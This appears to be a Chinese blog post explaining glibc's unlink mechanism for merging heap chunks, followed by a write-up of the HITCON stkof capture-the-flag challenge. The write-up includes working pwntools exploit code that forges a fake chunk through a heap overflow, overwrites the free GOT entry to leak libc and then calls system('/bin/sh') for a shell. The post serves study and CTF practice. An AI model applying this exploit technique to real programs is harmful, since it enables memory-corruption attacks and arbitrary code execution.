unlink是对双向堆链表进行操作的(largebin和smallbin),它对发生在堆合并之后
unlink
测试代码如下:
#include <stdio.h>
#include <stdlib.h>
int main()
{
void *a = malloc(0x10);
void *chunk1 = malloc(0x80);
void *b = malloc(0x10);
void *chunk2 = malloc(0x80);
void *chunk3 = malloc(0x80);
void *c = malloc(0x10);
void *chunk4 = malloc(0x80);
void *d = malloc(0x10);
free(chunk1);
free(chunk2);
free(chunk4);
free(chunk3);
return 0;
}
接下来,编译好之后,在free(chunk3)处打一个断点,然后执行,查看堆状态
可以看到chunk1、chunk2、chunk4已经构成了链表,如下
此时chunk2与前后构成了双向链表,但目前并没有出发unlink,那么需要执行后面的free(chunk3),让chunk2和chunk3合并,改变chunk大小后,就会触发unlink机制了。
接着执行完free(chunk3),查看堆状态
结构图如下
由此可见,chunk1、chunk3都修改了对应的指针,而chuunk2与chunk3合并。
来看一下unlink的源码
#define unlink(AV, P, BK, FD) {
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");
FD = P->fd;
BK = P->bk;
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");
else {
FD->bk = BK;
BK->fd = FD;
if (!in_smallbin_range (chunksize_nomask (P))
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))
malloc_printerr ("corrupted double-linked list (not small)");
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
} } \
}
}
unlink要执行成功,至少需要使得前两个if条件得到满足
FD->bk == P || BK->fd == P
chunksize( P) == prev_size (next_chunk( P))
例子
HITCON stkof
保护如下

先分析一下有用的函数
- add函数

该函数用于创建chunk,并将chunk的地址给s1数组,同时i是一个全局变量,因此add只能一直向后填充数组
- edit函数

用于向chunk写入数据,但存在一个堆溢出,因为没有对写入数据的大小进行限制
- delete函数

释放堆,同时将数组对应处归0,因此无法double free
目前能够知道,在edit函数中,存在堆溢出,可以利用它对后面的堆进行修改
那么在这里如何利用unlink来解题?说实话,没有看着题之前还真不知道unlik能干嘛
首先,unlink能够修改fd、bk指针,目前能够使用的是edit函数,希望通过它进行地址写,就需要修改s1数组的值,要能够修改这个值,首先s1数组就得构造成符合unlink进行的条件,也就是FD->bk == P || BK->fd == P,因此需要把s1数组看作一个chunk
由于unlink并不会检测前后两个chunk是不是真的chunk,只对fd、bk进行了判断,因此只要伪造一个空闲堆,它的fd、bk是指向s1的某个地址,并且能够满足上面那个等式,就可以将s1数组中的两个值修改成这个数组的某个元素的地址
先构造3个chunk,并查看s1数组

把这一部分看作chunk,那么fd=0x24d8450,bk=0x24d8490
再看看s1 - 8处

fd=0x24d8420,bk=0x24d8450
此时就能够满足FD->bk == P || BK->fd == P
那么现在只需要构造一个fd = 0x602138,bk=0x602140的空闲chunk,并与它后面的chunk合并,就能够触发unlink
之后0x602150处的值先修改为0x602140,然后被修改为0x602138,如下

那么,我们就可以对s1[2]指向的地址s1[-1]进行写操作了,写入可写的地址,就能够对该地址进行写操作了。
过程
首先,构造chunk并触发unlink
add(0x8) #chunk0
add(0x30) #chunk1
add(0x80) #chunk2
arry = 0x602140
payload = p64(0) + p64(0x30) + p64(arry - 0x8) + p64(arry) + p64(0x0) + p64(0) + p64(0x30) + p64(0x90)
edit(2, len(payload), payload)
free(3)
p.recvuntil(b'OK\n')
由于没有进行setbuf操作,在初次使用fgets和printf函数时,会申请堆空间,因此第一个add(0x8)利用不了,需要在申请两个堆
由于需要触发unlink,因此需要能够合并,那么free chunk需要是在unsortedbin中,因此对chunk2开辟0x80
伪造的堆至少需要0x30大小,在伪造的同时需要修改chunk3的prev_size和size字段,保证与伪造的chunk大小一致,且证明它是个空闲chunk
接下来就可以通过edit[2]来修改这个数组,先将free的got表修改为puts的plt,从而调用puts函数。
payload = p64(0) + p64(elf.got['free']) + p64(elf.got['puts'])
edit(2, len(payload), payload)
edit(0, 8, p64(elf.plt['puts']))
free(1)
puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
binsh = next(libc.search(b'/bin/sh')) + libc_base
这里对s1[2]进行写时,实际上是从s1[-1]处对数组进行了修改,我让s1[-1] = 0,s1[0]=free_got,
s1[1] = puts_got
然后修改s1[0],去修改free的got表,之后在free(1),就能打印处puts的地址了
那么最后就是调用system函数了
payload = p64(0) + p64(elf.got['free']) + p64(binsh)
edit(2, len(payload), payload)
edit(0, 8, p64(system))
free(1)
p.interactive()
最后
unlink机制理解起来还是很简单,这题也让我明白,有时候伪造的堆不一定真的是堆
我这里是为自己学习做记录,如果看不明白可以看看这位大佬写的文章
本文详细解析了C语言中unlink函数在处理堆链表时的机制,通过一个HITCON挑战题为例,展示了如何利用堆溢出和unlink来修改内存中的数据。通过构造特定的chunk和满足unlink条件,实现了对全局变量s1数组的修改,最终达到执行自定义代码的目的。
&spm=1001.2101.3001.5002&articleId=121601840&d=1&t=3&u=1d40215fa3b54ccbb97782c1ada218b9)
268

被折叠的 条评论
为什么被折叠?



